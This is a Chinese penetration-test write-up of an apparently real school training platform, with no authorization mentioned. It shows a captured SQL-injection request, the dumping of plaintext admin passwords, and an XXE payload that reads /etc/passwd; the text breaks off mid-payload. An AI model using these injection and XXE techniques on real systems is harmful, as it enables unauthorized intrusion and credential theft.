渗透某培训平台经历
某天工作室小伙伴发了个某学校培训平台的URL给我说有注入,于是我们俩就开始了愉快的渗(mo)透(yu)旅程 0x00 从注入摸到XXE 首先这个站有一个学生登录口和一个管理登录口: 自然是先用学生身份注册一个账号,进去之后到处摸,然后在课程支付的地方找到一个注入点 因为这个培训平台的所有课程都是付费的,所以首先需要支付才能进行学习。在点击支付后会生成一个支付记录,然后跳转至另一个外部网站进行支付过程。然后就找到一个支付记录查询的页面: 对应HTTP包抓一下,发现user_course_id参数有注入: GET /student/apply/uc/uc_pay_log_list.jsp?user_course_id=1102089&returl=uc%5fuser%5fcourse%5flist%2ejsp&13952 HTTP/1.1 Host: xxx Cookie: xxx Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 是一个MSSQL的bool盲注,数据库用户也是DBA,但是由于不知名原因没法堆叠注入,所以没法直接os-shell 然后跑一手admin表,直接出用户名密码(好家伙,密码直接明文保存) 然后用户名和密码登录管理界面,功能比学生的界面多了很多,可以系统的一些信息,发现Web是root起的 接着在里面乱摸,又摸到了几个注入点,但是由于已经注完了没什么用 然后有两个富文本编辑器ueditor和kindeditor,前者无洞,后者有可以上传HTML的JSP但是没解析,访问直接就下载了,研究了很久,无果 各种上传点也试了,限制得太死了没法绕过 然后找到在学习平台里面有个题目管理,每门课里面都有个在线练习,里面的题目配置长这样: 这不XML嘛,于是果断试一下XXE得不得行 编辑题目抓包,修改题目的XML数据,添加恶意实体: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE items [ <!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> <items> <item><serial>1</serial><answer>0</answer><title>&goodies;</title></item> <item><serial>2</serial><answer>1</answer><title><!...